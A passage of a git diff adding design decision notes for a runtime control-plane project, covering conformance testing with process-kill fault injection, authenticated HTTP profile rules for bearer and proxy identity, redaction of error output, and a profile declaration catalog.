operator judgment in a + free-form audit detail. +- Do not duplicate schema migration, codec, validation, filesystem, fsync, + auth, redaction, clock, exception, or shutdown logic in a CLI or runbook + script. +- Do not tighten `_AuditEventModel` under the existing local schema version, + truncate legacy details, or rewrite append-only audit history during + migration. +- Do not log exception chains, request paths, raw Pydantic errors, SQL, native + provider output, or supposedly safe values merely because they are length + bounded. Bounding is not redaction. +- Do not use scenario time for operational deadlines or timestamps, and do not + use wall-clock jumps as elapsed-time measurement where monotonic time is + available. +- Do not make TLS, proxy-header stripping, secret resolution, service units, + backup encryption, retention, or backend-native restore part of the core. + +## Non-goals and implementation boundaries + +- No P3 coordination, multi-worker/shared-owner service, leader election, + fencing, replication, remote store, automatic takeover, or high-availability + claim. +- No exactly-once backend effects, automatic replay, compensation, rollback, + target-state reconstruction, or proof that a database backup matches an + external target. +- No cross-target/run backup merge, store cloning under a new identity, + tenant multiplexing, request-selected store, or rewriting of durable history. +- No replacement for experiment-run archives, captured evidence, provenance, + participant observation, or scenario-native observability. +- No core serve command, TLS terminator, reverse proxy, identity provider, + secret manager, process supervisor, service-account policy, scheduler, or + retention/encryption system. +- No new portable recovery, audit, snapshot, health, or maintenance schema + unless a concrete external interoperability requirement separately clears + the repository's schema-governance gates. diff --git a/docs/decisions/issue-1187-control-plane-conformance-preflight.md b/docs/decisions/issue-1187-control-plane-conformance-preflight.md new file mode 100644 index 000000000..db298c28f --- /dev/null +++ b/docs/decisions/issue-1187-control-plane-conformance-preflight.md @@ -0,0 +1,241 @@ +# Issue 1187 Control-Plane Conformance Preflight + +Date: 2026-09-20 + +Issue #1187 (CP-9) is the delivery contract under requirement API-404. +[ADR-104](adrs/adr-104-runtime-control-plane-architecture.md) and its +[operation model](../../specs/formal/runtime-control-plane/README.md) remain +the architecture authority. This note constrains test design; it introduces +no runtime behavior, portable contract, or implementation plan. + +## Decision and existing coverage + +Use one parameterized conformance suite over the landed compositions, with +shared behavioral assertions and narrowly scoped provider/transport fixtures. +Keep specialized regression modules where they belong; one suite does not +require one large file or copied versions of their assertions. + +| Composition | Required interpretation | +| --- | --- | +| P0: `RuntimeControlPlane` with `InMemoryControlPlaneStore` | In-process lifecycle, atomic publication, CAS, identity, isolation, validation, and no duplicate invocation. A fresh process loses the run, receipts, and claims; no restart durability or persistent deduplication claim. | +| P1: core with `LocalControlPlaneStore` | P0 safety plus lease-admitted, scope-pinned SQLite persistence, abrupt-process-loss recovery, and offline maintenance. | +| P2: `create_control_plane_app()` over a P1 core | Required P1 guarantees plus authenticated transport, bounded admission, coherent revision-bearing reads, and lifespan drain. HTTP over memory remains useful adapter coverage but is not P2 durability evidence; the CP-8 obligations must also pass. | + +These are required profile contracts, not a declaration that this checkout +already conforms. CP-9 depends on CP-2, CP-3, CP-6, CP-7, and CP-8. Inspection +on the date above found concrete gaps against the +[CP-8 preflight](issue-1188-served-control-plane-profile-preflight.md): +`ControlPlaneSecurityConfig` accepts identity headers aliased to Authorization +or to each other, and empty bearer/principal entries; +`backend_result_diagnostics._backend_call_failed()` includes the provider +exception class name. The provisioning planner-denial route also awaits +`record_audit()` directly before choosing its 403, unlike the best-effort +shared rejection handler. Preserve adversarial expectations for these cases; +resolve product defects in their owning scope before claiming full P2 +conformance. A skip or expected failure documents a gap, not a profile pass. + +The CP-9 delivery addresses these three findings in the existing configuration, +backend-diagnostic, and shared HTTP denial-audit owners. Regression evidence is +`test_issue_1187_control_plane_security_conformance.py`: ambiguous/empty +configuration fails composition, provider type/message/chain material stays out +of durable status and HTTP output, and audit failure preserves the intended 403 +for all three planner submission routes. + +Review also identified exception-class disclosure in observation-adapter +failures. The existing required-observation failure regression now verifies +redaction in status, stored records, audit, and logs; `observation_execution.py` +keeps the same stable diagnostic code without the exception class. Fresh +source-bound formal and specification-coverage captures preserve their previous +outcomes and limitations, leaving the historical captures byte-exact. Those +corpora do not substitute for this suite's crash/profile evidence. + +Operating profiles are not `BackendCapabilityProfile`, domain/realization +profiles, validation profiles, or scenario `deployment_tenants`. +`raes_conformance`'s backend corpus and `full-remote-control-plane` profile do +not declare P0--P2 ownership or durability. Do not extend that published schema +or its CLI merely to select this suite. The memory adapter's +`crash_atomic=True` denotes its atomic mutation capability, not process-loss +persistence. Do not infer an operating profile from that flag. + +The deferred work is already represented by +`implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py`. +Reuse its codec, rollback, filesystem, lease, migration, and cache regressions; +do not retrieve or re-land PR #1136 as a second implementation. Its +`KeyboardInterrupt` cases exercise exception rollback and orderly reopen, +not abrupt death. ADR-104 and current code supersede the old #1092 preflight's +blanket interrupted-to-failed recovery and optional non-atomic store fallback. + +Other incumbent test owners, all under `implementations/python/tests/`: + +| Concern | Existing owner | +| --- | --- | +| Closed lifecycle, context, public DTO/schema parity | `test_issue_1182_operation_lifecycle_contract.py` | +| Mutation families, terminal/audit atomicity, cancellation settlement | `test_issue_1181_unified_control_plane_mutations.py` | +| Observation, three recovery classifications, quarantine, linked resolution | `test_issue_1179_startup_reconciliation.py` | +| Revision CAS and coherent response cuts | `test_issue_1180_snapshot_revision_cas.py` | +| Lease admission, immutable scope, provider-close ordering | `test_issue_1183_store_ownership_leases.py` | +| Atomic actor/kind-scoped claims, commitments, authoritative reads | `test_issue_1184_atomic_idempotency_claims.py` | +| Transport/authentication and bounded rejection work | `test_runtime_control_plane_api.py`, `test_issue_1093_request_rejection_offload.py` | +| Health, backup/restore, strict audit, redacted failures | `test_issue_1186_control_plane_recovery_operations.py` | + +Extract shared test fixtures only when needed by multiple cases; follow the +existing `*_fixtures.py` pattern and `create_stub_target()` composition. +Avoid importing whole test modules as a fixture API or copying their private +helpers. Positive cases must pass actual admission, not monkeypatch it away. + +## Fault evidence and behavioral oracles + +Kill-point coverage must distinguish exception injection from uncatchable +child-process termination. For durable profiles, cover both sides of claim +publication/start, backend invocation/effect, and terminal commit: before the +transaction, after each snapshot/record/audit write, after database commit, +and before cache publication/response. Include claim-transaction partial +writes. A lost response after commit must retain the original receipt and one +terminal audit. A kill before a committed claim leaves no operation; after a +committed claim it leaves recoverable work or the complete terminal cut. + +Reuse the existing multiprocessing `spawn`, events/barriers, temporary stores, +and bounded joins. The child must acknowledge the exact fault boundary and +remain blocked there until termination; sleeps and a generic nonzero exit are +not evidence it was reached. +Reopen in a fresh owner/process without orderly shutdown of the killed owner. +Always reap children and bound waits, including failed assertions; never kill +a process by a broad name match. Isolate paths per test and worker. Platform +limitations must be explicit skips, never reported as demonstrated guarantees. +Process-kill evidence is not power-loss or arbitrary-filesystem proof. +Construct stores, targets, and application lifespans inside spawned children; +pass inert fixture parameters, not open connections, leases, or runtime objects. +Private transaction hooks may locate a fault, but must delegate to the real +provider writes and commit. A hook that performs the transaction itself tests +a replacement implementation. Release inspection leases before restarting the +core, and repeat kills during recovery terminalization to check that each +observed recovery cut is atomic and has no duplicate terminal audit. +Concurrent runtime submissions share one admitted owner; a competing process +must lose lease admission. Bypassing that lease to race SQLite writers would +exercise an unsupported runtime topology, not P1/P2 conformance. + +Observe backend effects and invocation counts independently of the control +plane snapshot and dead child's memory. A test-owned durable effect witness +or independently supervised fake backend may supply that evidence; it must +survive the killed owner and distinguish dispatch, applied effect, and unknown +outcome. It is a test oracle, not a production ledger or recovery mechanism. +Check the pre-reconciliation durable cut through admitted store access, then +the core's post-startup cut: startup itself legitimately adds terminal state. +Never assert only the returned exception, HTTP status, or an in-memory counter. + +Recovery fixtures implement `RecoveryObserver.observe_effect()` with matching +manifest `RecoveryObservationCapabilities` and the existing request/result +carriers. Exercise absent, applied, and indeterminate outcomes, unsupported +kinds, exceptions/timeouts, mismatched operation/commitment, and invalid applied +snapshots. Validate applied results through `_validated_backend_result()`. +Count invocations across startup, same-key retries, timeout, disconnect, +cancellation, and repeated reopen: none authorizes replay. Distinguish known +write-ahead `ACCEPTED` from unattributed migrated claims. Indeterminacy +quarantines new effects; authorized resolution creates a fresh linked child +and preserves the parent's terminal record, claim, actor, and audit. +An observer raising `TimeoutError` establishes failure classification, not an +enforced observation deadline: `observe_effect()` is synchronous. Bound the +test supervisor's wait without claiming a runtime timeout guarantee. Likewise, +using a fresh idempotency key after losing sensitive retry proof is a new +submission, not evidence that repeating an external effect is safe. + +Use the FM3 matrix and CP-1's independently enumerated legal pairs as the +oracle for bounded Hypothesis transition sequences and malformed-carrier +mutations. Do not compute expected results with the production transition +predicate being tested. Illegal transitions must preserve the entire state +cut; terminal exact persistence retries are no-ops, not self-transitions. +Admission denial creates audit only, not a stored `REJECTED`/`FAILED` record. +Mutation checks must show that invalid transitions or omitted invariant +enforcement are detected; changing inputs without checking rejection and +unchanged state is insufficient. No general mutation-testing platform is needed. + +Exercise every mutation family through its existing entry point, including +workflow cancellation/timeouts, precomputed results, participant control and +actions, episodes, read-shaped crossing mutations, and resolution. Parameterize +the shared assertions by `OperationKind` and an entry-point fixture; explicitly +account for families with no backend effect instead of manufacturing an invoke. +Retain snapshot-bearing versus record-only `TerminalCommitMode` behavior and +participant expected-head checks alongside snapshot CAS. + +## Cross-cutting gates to preserve + +Names below refer to the existing Python packages under +`implementations/python/packages/`; test adapters delegate to these owners. + +| Layer and canonical incumbent | Required passage and adversarial evidence | +| --- | --- | +| Composition: `ControlPlaneConfiguration`, `PlanScope`, `runtime_target_scope()`, `RuntimeTarget`, registry `_validate_runtime_target_shape()` | Explicit target/run, valid component signatures and manifest capabilities, crossing/information-state resolvers where required. Reject mismatched scope before reads/migration. Never derive trusted scope from a receipt, filename, request, or database contents. | +| HTTP pre-parser/config: `ControlPlaneSecurityConfig.strict_defaults()`, `RequestSizeLimitMiddleware`, closed request DTOs | Exercise unknown/malformed members, invalid/duplicate lengths, streaming size limits, positive queue bounds, and overload. Bounded `RejectionAuditExecutor` must not dispatch rejected work or replace its error when auditing fails. | +| Authentication/authorization: `_ControlPlaneApiAuth`, `ControlPlaneIdentity`, core operation/participant authorization | P0/P1 trust embedder authentication; P2 derives context from authenticated transport. Default-deny spoofed proxy headers; invalid bearer cannot fall through to proxy identity. Match target, role, actor and complete subject/audience scope before claim or disclosure. Equal keys for different actors/kinds are distinct claims; guessed ids, changed scopes, and caller fingerprints grant no authority. Test direct core calls as well as HTTP. Trusted-proxy stripping/TLS remain host deployment obligations, not proved by an ASGI test. | +| Plan/backend semantics: `control_plane_plan_diagnostics()`, `RuntimePlanAuthorizationMixin`, backend input/result and snapshot-transition validators | Use admitted planner outputs and real realization, account-credential, participant control/crossing, information-state and final-sink gates. Valid JSON or a successful observer response cannot bypass semantic validation. Reuse participant and realization fixtures instead of inventing permissive fake DTOs. | +| Secrets/environment: `operation_admission_context()`, value-free account projection, ephemeral exact retry proof, `backend_account_credentials.py`, `raes/runtime_environment.py` | Use synthetic sentinels only. Persist value-free commitments, not secret hashes or exact fingerprints; credential-bearing retries after restart fail closed when ephemeral proof is lost. Scenario environment fixtures must obey name, classification/provenance, literal-versus-`value_from`, and redacted/operator-secret constraints. Service security config stays explicit in memory, separate from SDL environment bindings. | +| Mutation/ownership: `RuntimeMutationAuthority`, `RuntimeLifecycleMixin`, `RuntimeOwnerLease`, `_ControlPlaneCallExecutor` | One owner, no transaction across backend calls, second-process/fork rejection, bounded queued work, cancellation settlement, responsive pure reads, drain before provider close before lease release. Provider-close failure retains authority. `WEB_CONCURRENCY`/`UVICORN_WORKERS` rejection is additional to the lease, not a substitute. | +| Persistence/coherence: `ControlPlaneStoreCommitAdapter`, atomic stores, `SnapshotState`, `SnapshotRevisionConflict`, `RuntimeDurabilityMixin` | Competing claims/CAS have at most one winner; snapshot, terminal record and actor audit publish together. Test stale caches, commit-then-error, authoritative readback and poisoning on failed readback. Response value and revision must describe the same cut. Never equate snapshot revision with history head, digest, timestamp or SQLite transaction id. | +| Durable/transport carriers: `OperationReceiptModel`, `OperationStatusModel`, `RuntimeSnapshotEnvelopeModel`, `decode_payload()`, `_OperationRecordModel`, `_AuditEventModel`, exhaustive snapshot codec, shared transition/scope/audit-binding validators | Check hash corruption separately from well-hashed but semantically malformed state; missing/unknown/coerced fields, receipt/status or indexed-key mismatch, invalid scope/history, and snapshot-field drift fail closed. Preserve deliberate value-free projection on round-trip. Use existing schema migrations for old formats; no silent defaulting, sanitizing or dropping history. | +| Filesystem/OS/maintenance: `control_plane_store_paths.py`, lease admission, `maintain_local_control_plane_store()` | Retain private modes, owner/type/link/reparse checks, pinned directory/database identities, WAL/full-sync admission, `quick_check`, file-before-directory fsync and restore rollback. No application raw-open/close/chmod of live SQLite-managed files or sidecars: it can break SQLite locks. Corruption fixtures use isolated offline/admitted provider access. Restore is lease-exclusive and repeats normal admission/recovery; a database backup does not restore external effects. | +| Errors/observability: `Diagnostic`/`DiagnosticModel`, `portable_diagnostic_payload()`, `AuditEvent`, `_conflict_detail()`, shared request handlers and module loggers | Assert coarse HTTP/CLI envelopes and stable namespaced diagnostics, not provider wording. Inject sentinel secrets, paths, SQL and exception chains; inspect response, durable audit/status and captured logs/output. Secondary audit failure preserves the primary envelope. Append-only audit differs from telemetry, participant history and experiment evidence; hashes are corruption checks, not authenticity. Public health stays value-free and audit-free. | + +Fault selectors, test identity, store paths and clocks belong in test factories, +not production environment switches, request headers or new service settings. +Never put credentials in subprocess argv, environment dumps, failure reports or +captured artifacts. Use operational monotonic/wall time for synchronization and +timeouts; `TimeRuntime` and scenario time are unrelated. Exercise P2 with the +real lifespan and authenticated adapter, without adding a serve command or +external network dependency. +Control inherited worker settings explicitly with pytest's existing +`monkeypatch` fixtures, restoring them after each case; exercise invalid values +in rejection cases. Synthetic bearer config belongs inside the child/test +factory, never in developer credential files or a new environment loader. + +## Extension and workflow boundaries + +The extension seam is a small test-owned factory parameterized by reference +composition, store location/scope, actor, operation entry point, recovery +observer, and fault boundary. A new admitted provider supplies factory and +provider-specific fault hooks, reusing the invariant assertions. Keep its +declared guarantees/nonclaims explicit and fail collection/coverage checks +when an implemented profile or required family is omitted. Unavailable +optional/platform cases remain visibly unexecuted; skips cannot produce a +blanket conformance pass. Do not add a runtime profile registry, plugin system, +parallel schema, exception hierarchy, auth resolver, workflow engine, or generic +fault-injection API for tests. +Keep this test matrix separate from CP-10's production profile declaration and +discovery work; consume that declaration when available rather than publishing +a competing catalog. Pytest case ids/results should identify composition, +operation family, fault boundary, and outcome using bounded synthetic labels. + +Reuse pytest/Hypothesis from `implementations/python/pyproject.toml`, the +`noxfile.py` registry, `tools/nox_support/{config,test_lanes,graph}.py`, +`tools/verification_plan.py`, `.github/workflows/ci.yml`, and its reusable +`.github/workflows/canonical-verification.yml`. Default pytest +excludes `integration`, `fuzz`, and `docker`: process/whole-system cases belong in the +existing integration lane and property cases in the fuzz lane. A default or +changed-test-only pass is not complete CP-9 evidence. Keep deterministic, +bounded cases in the appropriate existing lanes rather than a parallel runner. +Use the existing shard manifest/reduction tooling +(`tools/pytest_shard.py`, `tools/pytest_shard_plugin.py`) for collection +completeness. The canonical unit/integration graph does not include fuzz; +record that lane separately. Avoid dual `integration`/`fuzz` marking that would +silently run expensive subprocess cases in both lanes. Native OS lock evidence +must name the platform exercised; a monkeypatched Windows path on POSIX is +branch coverage only. Hermetic CP-9 evidence needs no real backend or Docker. + +`.ground-control.yaml`, `.gc/plan-rules.md`, `.pre-commit-config.yaml`, +`tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, and +`tools/verify_all.py` remain the policy/verification owners. Set +`RAES_REQUIREMENT_UID=API-404` on branches without the UID. The selected +requirement authority is repository-backed in +`tools/policy/requirement_order.yaml`; use its existing resolver and governance +gate, without changing the authority or bypassing traceability. No published +schema changes are needed; if a discovered defect requires one, use the existing schema-publication +manifest/ledger, `schema_bundle()` parity, and contract fixtures. A failing +invariant is a product finding, not permission to weaken the expected result +or silently broaden this test issue into redesign. + +Results are finite observations for named profile, operation, fault point and +platform. P0 process loss is explicitly outside durability; P1/P2 do not imply +P3, multiple service owners, tenant multiplexing, distributed fencing, +exactly-once effects, tamper evidence, or universal recovery proof. +`RuntimeManager`, backend effect semantics, SDL/planner behavior, deployment +TLS/secrets/supervision, new providers and production recovery workflows are +outside CP-9 implementation boundaries. This preflight changes guidance only. diff --git a/docs/decisions/issue-1188-served-control-plane-profile-preflight.md b/docs/decisions/issue-1188-served-control-plane-profile-preflight.md new file mode 100644 index 000000000..212c5d9d9 --- /dev/null +++ b/docs/decisions/issue-1188-served-control-plane-profile-preflight.md @@ -0,0 +1,239 @@ +# Issue 1188 Served Control-Plane Profile Alignment Preflight + +Date: 2026-09-19 + +Issue: #1188. Requirement: API-404. Decision: ADR-104. Work package: CP-8. + +## Decision + +Profile P2 is the existing reference HTTP adapter in front of the same +`RuntimeControlPlane` and one P1 owner. It is not a second operation service, +identity model, authorization namespace, audit writer, persistence workflow, or +mutation scheduler. P2 keeps one immutable target/run store scope, one +process-lifetime owner lease, one core mutation authority, and one application +worker. The HTTP layer authenticates, validates transport shape, performs +bounded admission/offload, and maps core outcomes; the core remains the +authority for referenced-subject authorization, operation context, claims, +terminal state, and audit. + +`ControlPlaneIdentity` is the authenticated transport principal and +`OperationAdmissionContext` is the immutable core/persisted authority context. +`operation_actor_scope()` and `operation_admission_context()` are the only +conversion boundary between them. Do not introduce an actor DTO, proxy-user +schema, route-local scope tuple, or caller-supplied actor field. Every HTTP +mutation passes the authenticated `ControlPlaneIdentity` to the core. The core +must reject a missing or untyped identity on a P2 call before a claim or backend +invocation; the existing `identity=None` trusted-embedder behavior remains only +for explicit P0/P1 in-process calls. + +Authorization is evaluated against the authoritative referenced object before +disclosure or claim: + +- target-wide plan operations, snapshots, and operational summaries require + the existing exact target binding and applicable role; +- participant-addressed mutations and governed projections additionally use + the existing `ParticipantControlSubjectBinding` or + `ParticipantAudienceSubjectBinding` policy, after resolving the referenced + participant or execution scope through incumbent compiled/runtime state; +- operation status and idempotent replay require the original actor and full + immutable authorization scope, plus the admitted target/run and operation + kind; absent and unauthorized operation ids have the same response; +- startup reconciliation has no new caller: it preserves the parent record's + immutable actor/scope and produces its terminal audit from that context; +- indeterminate resolution retains CP-3 semantics: a newly authenticated + target-bound operator may be a different actor, but must be reauthorized + against the parent's target/run and participant scopes. The linked child gets + the resolver's context and the parent actor is never rewritten. + +Role checks in `_ControlPlaneApiAuth` are transport admission, not sufficient +participant or operation authorization. Family-specific core checks in +participant control, crossing, retrieval, recovery, and operation reads are the +incumbents to share or converge. Do not copy their policy into route handlers or +infer authority from an operation id, idempotency key, receipt, request path, +snapshot revision, or auditor role. + +## Proxy and credential boundary + +`ControlPlaneSecurityConfig.strict_defaults()` remains fail closed. Bearer +tokens retain precedence and constant-time comparison; an invalid presented +bearer token never falls through to proxy headers. Proxy identity is accepted +only when `trust_proxy_identity_headers=True` is supplied by trusted application +composition. That flag is the deployer's assertion that the adapter is not +directly reachable and that the authenticating proxy strips both configured +identity headers from every external request before setting its own values. +Client-provided `x-raes-client-verified`, a configurable equivalent, source IP, +or TLS presence is not proof of that topology. + +Strengthen the existing config admission rather than adding an environment +loader: configured header names must be valid, distinct, and must not alias the +Authorization header; bearer keys and principal names must be non-empty; roles, +target names, actor ids, and subject bindings must fit the existing closed +context bounds; and duplicate/ambiguous subject bindings fail composition. +`trusted_identities` and `bearer_tokens` remain immutable copies. P2 adds no +token environment variable, secret file, command-line token, dynamic principal +registration endpoint, or request-body identity override. + +## Mutation, audit, and failure boundary + +All accepted mutation families continue through `RuntimeMutationAuthority`, +the atomic store claim, and `RuntimeDurabilityMixin`. A terminal operation uses +`commit_terminal_operation()` (or the incumbent participant transition +equivalent) to publish the snapshot/revision outcome, terminal record, and +`terminal_operation_audit()` together. Routes never append a success/failure +terminal audit. Remove the post-hoc receipt-audit calls and their no-op seam +rather than leaving an apparent second audit workflow. Authentication, +authorization/admission denial, request rejection, and read-access audits remain +separate bounded operational evidence and never masquerade as terminal audit. + +HTTP failure mapping is one shared adapter concern. Expected authorization, +not-found, claim/revision conflict, validation, and overload outcomes receive +stable coarse envelopes. Unexpected backend, store, policy-provider, or audit +provider failures receive the existing redacted 500 envelope. Route code must +not return `str(exc)` or provider-selected messages; the backend failure +diagnostic must not vary with exception text or class name. Tokens, raw headers, +request bodies, concrete request/host/database paths, SQL/WAL details, +credentials, tracebacks, exception chains, and provider-native values are +absent from responses, diagnostics, audit fields, and logs. + +A failed secondary audit must not replace an already selected 4xx/5xx response. +The request-size middleware and global exception handlers therefore need the +same best-effort audit rule. `_LOGGER.exception()` is not a safe provider-error +fallback because it emits a traceback and exception chain; log only a stable, +bounded event label. Do not create a public provider exception hierarchy. + +## Read and concurrency boundary + +`_ControlPlaneCallExecutor` remains the bounded ASGI offload owner: +`mutate()` reserves bounded mutation admission and delegates serialization to +the core; `run()` keeps non-mutating reads/audits off the event loop. The +process-bound store lease, `require_single_worker_configuration()` checks for +`WEB_CONCURRENCY`/`UVICORN_WORKERS`, and post-fork lease check remain cumulative +guards. A database uniqueness index, asyncio lock, or application-local queue +is not multi-worker coordination. The repository still has no serve command; +TLS termination, proxy configuration, supervisor flags, and service-account +privileges remain deployment responsibilities and no P3 claim follows. + +Side-effect-free retrievals use `run()` and `_project_snapshot_read()` so they +can proceed while backend work is in flight. Each snapshot-derived response +must be projected from one authoritative `SnapshotState` cut and carry that +cut's logical revision in `X-RAES-Snapshot-Revision`; provider transaction ids +and response-time rereads are not revisions. `get_operation()` reads the store +and authorizes the immutable record context before returning it. + +RUN-319 governed participant egress is deliberately different: when a retrieval +must append crossing history before disclosure, it is a read-shaped mutation +and must stay on the one mutation authority with revision/history-head checks. +Only the legacy/pure projection path may bypass mutation admission. Do not make +governed egress appear noncontending by returning before its evidence commit, +moving crossing history to the audit log, or introducing a second evidence +queue/writer. If nonblocking latency is later required for governed egress too, +that requires a separate decision reconciling ADR-104's single mutation +authority with RUN-319's commit-before-serialization rule; CP-8 must not weaken +either implicitly. + +## Canonical incumbents + +- Authentication/configuration: `ControlPlaneSecurityConfig`, + `ControlPlaneIdentity`, `ControlPlaneRole`, participant subject bindings, + `_ControlPlaneApiAuth`, and `ControlPlaneSecurityConfig.strict_defaults()`. +- Transport shape/admission: closed FastAPI/Pydantic request models, + `RequestSizeLimitMiddleware`, `RejectionAuditExecutor`, and + `_ControlPlaneCallExecutor`. +- Authority context and idempotency: `OperationAdmissionContext`, + `operation_actor_scope()`, `operation_admission_context()`, + `require_idempotency_key()`, `_require_same_idempotency_replay()`, and the + atomic provider claim. Caller `request_fingerprint` remains non-authoritative. +- Mutation and lifecycle: `RuntimeMutationAuthority`, `mutation_entry()`, + `RuntimeDurabilityMixin`, `TerminalCommitMode`, the closed operation + transition/diagnostic helpers, and CP-3 resolution/reconciliation. +- Persistence/coherence: `ControlPlaneStore`, `ControlPlaneStoreCommitAdapter`, + `InMemoryControlPlaneStore`, `LocalControlPlaneStore`, `SnapshotState`, + revision CAS, strict operation/audit codecs, immutable store scope, and + `RuntimeOwnerLease`. +- DTOs and schemas: the existing `OperationReceiptModel`, + `OperationStatusModel`, `RuntimeSnapshotEnvelopeModel`, participant view + models, generated control-plane schemas, and `portable_diagnostic_payload()`. + No HTTP-only copies or provider-specific public carriers are needed. +- Semantic validation: `control_plane_plan_diagnostics()`, planner-produced + plan authorization, backend input/result/snapshot-transition validation, + participant control/crossing policy gates, and participant retrieval + projection validators. Transport validation does not duplicate them. +- Secret handling: `value_free_account_placement_payload()`, canonical + value-free request commitments, ephemeral exact retry proof, and backend + account-credential sanitizers. Digests do not make a secret safe to persist. +- Observability: `AuditEvent`, `terminal_operation_audit()`, stable `Diagnostic` + codes, ADR-066, and module loggers with value-free fields. Audit, logs, + participant crossing history, captured evidence, and archival provenance are + distinct concepts. + +## Cross-cutting gates + +| Layer | Required passage | +| --- | --- | +| HTTP pre-parser | Request body crosses `RequestSizeLimitMiddleware`; oversized or malformed length fails before parsing or dispatch and uses bounded best-effort rejection audit. | +| Authentication | Bearer or explicitly enabled verified-proxy resolution produces one configured `ControlPlaneIdentity`; bearer failure cannot fall through and proxy headers are never accepted under strict defaults. | +| Transport shape | Existing closed request models reject unknown members and validate field bounds before domain reconstruction. Header idempotency uses the single core key validator. | +| Authorization | Route role/target admission is followed by core participant/operation/reference authorization using authoritative state and the typed identity, before claim, backend work, or disclosure. | +| Immutable context | `operation_admission_context()` validates and freezes actor, complete scope, target/run, kind, parent, and value-free commitment in the existing carrier. | +| Semantic/backend gates | Existing plan, realization, participant, information-flow, credential, backend-return, and snapshot-transition validators run once at their current authority boundaries. | +| Persistence | Atomic claim, expected revision/history heads, strict record codec, terminal transaction/audit binding, immutable store scope, lease admission, and readback/poison behavior remain mandatory. | +| Secret/OS exposure | Security config is explicit in-memory composition; no secret/path enters env or argv. Local storage retains private modes, anti-link checks, identity-pinned opens, admitted WAL/full-sync behavior, and integrity checks. | +| Error envelope/logging | Shared coarse 401/403/404/409/413/422/500/503 responses and safe diagnostics/log labels contain no exception/provider/request/credential/path material. | +| Response coherence | Snapshot-derived output and revision come from the same pinned cut; operation status comes from the authoritative record after context authorization. | + +## Extension seam + +The seam for the next authentication mechanism is a resolver that produces the +existing `ControlPlaneIdentity`; the seam for the next operation family is one +core authorization decision parameterized by existing `OperationKind`, target, +and resolved participant/operation subjects, followed by the existing context, +claim, mutation, and terminal-commit path. Do not build a generic policy DSL or +route middleware registry. A future P3 provider may change ownership and +coordination beneath these contracts only after its own decision; it does not +change actor or claim identity. + +## Verification guardrails + +Extend the existing HTTP auth, target-binding, request-size, bounded-admission, +offload, overload, and redacted-error suites rather than creating a parallel +P2 harness. Cover bearer and trusted-proxy paths, default proxy spoofing, +invalid-bearer precedence, both worker environment variables plus process/lease +contention, and identity/config shape failures. + +Cross-principal tests must exercise equal idempotency keys, guessed operation +ids, changed scopes, participant bindings, target/run mismatch, retry, status, +and linked resolution without becoming existence or receipt oracles. Atomicity +tests must inject commit rollback/unknown outcomes and prove one terminal record +and one matching core audit, with no route audit. Error tests inject secrets, +paths, SQL, bodies, exception strings, and traceback-bearing provider failures +and scan response, diagnostics, audit, and captured logs. Read tests hold a +backend mutation open and prove pure snapshot/status/summary/legacy participant +reads complete with their observed revision; governed RUN-319 egress remains a +separately asserted mutation contract. + +## Non-goals and anti-patterns + +- No P3, multiple application workers, multi-host ownership, leader election, + fencing, durable broker, distributed queue, shared-cache coherence, tenant + multiplexing, cross-target/run store, or exactly-once backend-effect claim. +- No new identity, actor, receipt, status, revision, audit, provider-error, + participant-subject, or idempotency schema; no second validator, serializer, + exception hierarchy, audit sink, or mutation lock. +- No identity-less HTTP core mutation, route-created actor string, trusted + client identity header by default, bearer-to-proxy fallback, proxy trust + inferred from a header, IP, or TLS alone, or mutable principal map. +- No route-only subject authorization, authorization by possession, broad + auditor override of actor-bound status, operation-id enumeration, or 403/404 + distinction that reveals a protected object. +- No post-hoc terminal audit, duplicate retry audit, terminal `save_record()`, + cache-authoritative receipt/status, lookup-then-claim, backend replay, or + store transaction across external work. +- No `detail=str(exc)`, exception class/message in a provider diagnostic, + traceback logging, raw request path/body/header/token, SQL, database path, or + credential in an observable envelope. +- No claim that a mutating RUN-319 projection is a noncontending read; no + response before required crossing evidence commits and no audit substitution + for participant history. +- No new serve CLI, TLS/proxy implementation, environment-based principal or + secret loader, service unit, health/runbook surface, profile discovery, SDL + semantics, backend effect semantics, or `RuntimeManager` integration. diff --git a/docs/decisions/issue-1189-control-plane-profile-declaration-preflight.md b/docs/decisions/issue-1189-control-plane-profile-declaration-preflight.md new file mode 100644 index 000000000..8d1d2be52 --- /dev/null +++ b/docs/decisions/issue-1189-control-plane-profile-declaration-preflight.md @@ -0,0 +1,229 @@ +# Issue 1189 Control-Plane Profile Declaration Preflight + +Date: 2026-09-20 + +Issue: #1189. Requirement trace: API-404. Decision: ADR-104. Work package: +CP-10. + +## Decision + +The canonical owner is one immutable typed catalog in `raes_runtime`. Each +entry owns the profile id and label, stable guarantee and nonclaim identifiers, +one-target/one-run scope, actor boundary, required composition capabilities, +and whether selection is available. The public runtime surface returns those +same declaration objects; stores, the HTTP adapter, tests, and documentation do +not maintain profile-name or guarantee tables of their own. + +This declaration is runtime composition metadata. It is not a +`raes_contracts` model, a published JSON Schema, a store record, a backend +profile, a domain profile, or an HTTP payload. The historical profile rows in +the #1151 design program remain design evidence and are not loaded as a second +runtime registry. + +Omitted selection is a compatibility state with no named-profile claim. It is +not inferred as P0 from an in-memory store or as P2 from HTTP use, and it must +not be returned by discovery as though validation had occurred. New consumers +that rely on a profile guarantee select it explicitly; migrating every existing +constructor call site to a named profile is not part of CP-10. + +Profile selection occurs at the boundary that can establish the claim: + +- P0 and P1 are selected and validated by the core library composition. +- P2 is selected by `create_control_plane_app()` over a core that has already + satisfied P1. The core alone does not claim P2, and the adapter cannot turn a + P0 core into P2. +- P3 has a catalog entry so callers can inspect its nonclaim, but selection + fails before provider admission or other side effects. It has no guarantees + or speculative distributed requirements. + +Selection is never inferred from a store class, method presence, path, HTTP +use, or a successful lease. Construction compares the selected profile with +declared provider facts and fails on every missing requirement. It never +downgrades. Extra provider capabilities do not strengthen the selected +profile's guarantees. + +## Canonical profile matrix + +| Profile | Scope and actor boundary | Persistence, lease, revision, and audit | Recovery observation | Guarantees and nonclaims | +| --- | --- | --- | --- | --- | +| P0 ephemeral | One target and one run per store. A trusted embedder supplies the existing typed immutable actor context. | Process-lifetime state; no owner lease. Logical revision CAS, atomic claims/terminal commits, and append-only operational audit remain required while the process lives. | Not applicable after process loss; there is no restart recovery claim. | Guarantees the in-process safety, validation, authorization, idempotency, isolation, revision, and atomic-audit contract. Does not claim durability, restart recovery, multi-process ownership, high availability, or multitenancy. | +| P1 local durable | One target and one run per store. A trusted embedder supplies the same actor context. | Crash-consistent transactional state, one process-bound exclusive owner lease, logical revision CAS, atomic terminal audit, strict 